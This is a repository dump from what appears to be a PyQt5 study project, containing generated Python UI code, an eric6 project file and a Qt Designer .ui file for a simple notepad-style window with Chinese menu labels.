26 | self.centralWidget = QtWidgets.QWidget(MainWindow)
27 | self.centralWidget.setObjectName("centralWidget")
28 | self.textEdit = QtWidgets.QTextEdit(self.centralWidget)
29 | self.textEdit.setGeometry(QtCore.QRect(-7, -4, 621, 501))
30 | self.textEdit.setObjectName("textEdit")
31 | MainWindow.setCentralWidget(self.centralWidget)
32 | self.menuBar = QtWidgets.QMenuBar(MainWindow)
33 | self.menuBar.setGeometry(QtCore.QRect(0, 0, 606, 26))
34 | self.menuBar.setObjectName("menuBar")
35 | self.menu = QtWidgets.QMenu(self.menuBar)
36 | self.menu.setObjectName("menu")
37 | self.menu_2 = QtWidgets.QMenu(self.menuBar)
38 | self.menu_2.setObjectName("menu_2")
39 | self.menu1 = QtWidgets.QMenu(self.menuBar)
40 | self.menu1.setObjectName("menu1")
41 | self.menu2 = QtWidgets.QMenu(self.menuBar)
42 | self.menu2.setObjectName("menu2")
43 | self.menu3 = QtWidgets.QMenu(self.menuBar)
44 | self.menu3.setObjectName("menu3")
45 | MainWindow.setMenuBar(self.menuBar)
46 | self.statusBar = QtWidgets.QStatusBar(MainWindow)
47 | self.statusBar.setAcceptDrops(False)
48 | self.statusBar.setAutoFillBackground(True)
49 | self.statusBar.setObjectName("statusBar")
50 | MainWindow.setStatusBar(self.statusBar)
51 | self.action1 = QtWidgets.QAction(MainWindow)
52 | self.action1.setObjectName("action1")
53 | self.action2 = QtWidgets.QAction(MainWindow)
54 | self.action2.setObjectName("action2")
55 | self.action3 = QtWidgets.QAction(MainWindow)
56 | self.action3.setObjectName("action3")
57 | self.action4 = QtWidgets.QAction(MainWindow)
58 | self.action4.setObjectName("action4")
59 | self.action1_2 = QtWidgets.QAction(MainWindow)
60 | self.action1_2.setObjectName("action1_2")
61 | self.action2_2 = QtWidgets.QAction(MainWindow)
62 | self.action2_2.setObjectName("action2_2")
63 | self.action3_2 = QtWidgets.QAction(MainWindow)
64 | self.action3_2.setObjectName("action3_2")
65 | self.actionNew = QtWidgets.QAction(MainWindow)
66 | self.actionNew.setObjectName("actionNew")
67 | self.actionOpen = QtWidgets.QAction(MainWindow)
68 | self.actionOpen.setObjectName("actionOpen")
69 | self.actionSave = QtWidgets.QAction(MainWindow)
70 | self.actionSave.setCheckable(False)
71 | self.actionSave.setObjectName("actionSave")
72 | self.actionSave_sa = QtWidgets.QAction(MainWindow)
73 | self.actionSave_sa.setObjectName("actionSave_sa")
74 | self.actionSave_as = QtWidgets.QAction(MainWindow)
75 | self.actionSave_as.setObjectName("actionSave_as")
76 | self.actionSetup = QtWidgets.QAction(MainWindow)
77 | self.actionSetup.setObjectName("actionSetup")
78 | self.actionPrint = QtWidgets.QAction(MainWindow)
79 | self.actionPrint.setObjectName("actionPrint")
80 | self.actionExit = QtWidgets.QAction(MainWindow)
81 | self.actionExit.setObjectName("actionExit")
82 | self.menu.addAction(self.actionNew)
83 | self.menu.addAction(self.actionOpen)
84 | self.menu.addAction(self.actionSave)
85 | self.menu.addAction(self.actionSave_as)
86 | self.menu.addSeparator()
87 | self.menu.addAction(self.actionSetup)
88 | self.menu.addAction(self.actionPrint)
89 | self.menu.addSeparator()
90 | self.menu.addAction(self.actionExit)
91 | self.menuBar.addAction(self.menu.menuAction())
92 | self.menuBar.addAction(self.menu_2.menuAction())
93 | self.menuBar.addAction(self.menu1.menuAction())
94 | self.menuBar.addAction(self.menu2.menuAction())
95 | self.menuBar.addAction(self.menu3.menuAction())
96 |
97 | self.retranslateUi(MainWindow)
98 | QtCore.QMetaObject.connectSlotsByName(MainWindow)
99 |
100 | def retranslateUi(self, MainWindow):
101 | _translate = QtCore.QCoreApplication.translate
102 | MainWindow.setWindowTitle(_translate("MainWindow", "记事本 BY GETF"))
103 | self.textEdit.setHtml(_translate("MainWindow", "\n"
104 | " \n"
107 | "这是一个伪装notepad
\n"
108 | "
"))
109 | self.menu.setTitle(_translate("MainWindow", "文件(&F)"))
110 | self.menu_2.setTitle(_translate("MainWindow", "编辑(&E)"))
111 | self.menu1.setTitle(_translate("MainWindow", "格式(&O)"))
112 | self.menu2.setTitle(_translate("MainWindow", "查看(&V)"))
113 | self.menu3.setTitle(_translate("MainWindow", "帮助(&H)"))
114 | self.action1.setText(_translate("MainWindow", "1"))
115 | self.action2.setText(_translate("MainWindow", "2"))
116 | self.action3.setText(_translate("MainWindow", "3"))
117 | self.action4.setText(_translate("MainWindow", "4"))
118 | self.action1_2.setText(_translate("MainWindow", "1"))
119 | self.action2_2.setText(_translate("MainWindow", "2"))
120 | self.action3_2.setText(_translate("MainWindow", "3"))
121 | self.actionNew.setText(_translate("MainWindow", "新建(&N)"))
122 | self.actionNew.setToolTip(_translate("MainWindow", "新建一个文件"))
123 | self.actionOpen.setText(_translate("MainWindow", "打开(&O)..."))
124 | self.actionSave.setText(_translate("MainWindow", "保存(&S)"))
125 | self.actionSave_sa.setText(_translate("MainWindow", "save sa"))
126 | self.actionSave_as.setText(_translate("MainWindow", "另存为(&A)..."))
127 | self.actionSetup.setText(_translate("MainWindow", "页面设置(&U)..."))
128 | self.actionPrint.setText(_translate("MainWindow", "打印(&P)..."))
129 | self.actionExit.setText(_translate("MainWindow", "退出(&X)"))
130 |
131 |
132 | if __name__ == "__main__":
133 | import sys
134 | app = QtWidgets.QApplication(sys.argv)
135 | MainWindow = QtWidgets.QMainWindow()
136 | ui = Ui_MainWindow()
137 | ui.setupUi(MainWindow)
138 | MainWindow.show()
139 | sys.exit(app.exec_())
140 |
141 |
--------------------------------------------------------------------------------
/notepad/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/notepad/__init__.py
--------------------------------------------------------------------------------
/notepad/_eric6project/notepad.e4q:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/notepad/_eric6project/notepad.e6t:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/notepad/image/1.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/notepad/image/1.ico
--------------------------------------------------------------------------------
/notepad/notepad.e4p:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | en_US
8 | b262924a1bf7e558d1d75ad8faa4f185cbb96bc4
9 | Python3
10 | PyQt5
11 | 伪计算器
12 | 1.0
13 | GETF
14 | GETF_own@163.com
15 |
16 | __init__.py
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 | None
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
--------------------------------------------------------------------------------
/notepad/notepad.ui:
--------------------------------------------------------------------------------
1 |
2 |
3 | MainWindow
4 |
5 |
6 |
7 | 0
8 | 0
9 | 606
10 | 512
11 |
12 |
13 |
14 | 记事本 BY GETF
15 |
16 |
17 |
18 | image/1.ico image/1.ico
19 |
20 |
21 |
22 |
23 |
24 | -7
25 | -4
26 | 621
27 | 501
28 |
29 |
30 |
31 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
32 | <html><head><meta name="qrichtext" content="1" /><style type="text/css">
33 | p, li { white-space: pre-wrap; }
34 | </style></head><body style=" font-family:'SimSun'; font-size:9pt; font-weight:400; font-style:normal;">
35 | <p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;">这是一个伪装notepad</p>
36 | <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><br /></p></body></html>
37 |
38 |
39 |
40 |
89 |
90 |
91 | false
92 |
93 |
94 | true
95 |
96 |
97 |
98 |
99 | 1
100 |
101 |
102 |
103 |
104 | 2
105 |
106 |
107 |
108 |
109 | 3
110 |
111 |
112 |
113 |
114 | 4
115 |
116 |
117 |
118 |
119 | 1
120 |
121 |
122 |
123 |
124 | 2
125 |
126 |
127 |
128 |
129 | 3
130 |
131 |
132 |
133 |
134 | 新建(&N)
135 |
136 |
137 | 新建一个文件
138 |
139 |
140 |
141 |
142 | 打开(&O)...
143 |
144 |
145 |
146 |
147 | false
148 |
149 |
150 | 保存(&S)
151 |
152 |
153 |
154 |
155 | save sa
156 |
157 |
158 |
159 |
160 | 另存为(&A)...
161 |
162 |
163 |
164 |
165 | 页面设置(&U)...
166 |
167 |
168 |
169 |
170 | 打印(&P)...
171 |
172 |
173 |
174 |
175 | 退出(&X)
176 |
177 |
178 |
179 |
180 |
181 |
182 |
--------------------------------------------------------------------------------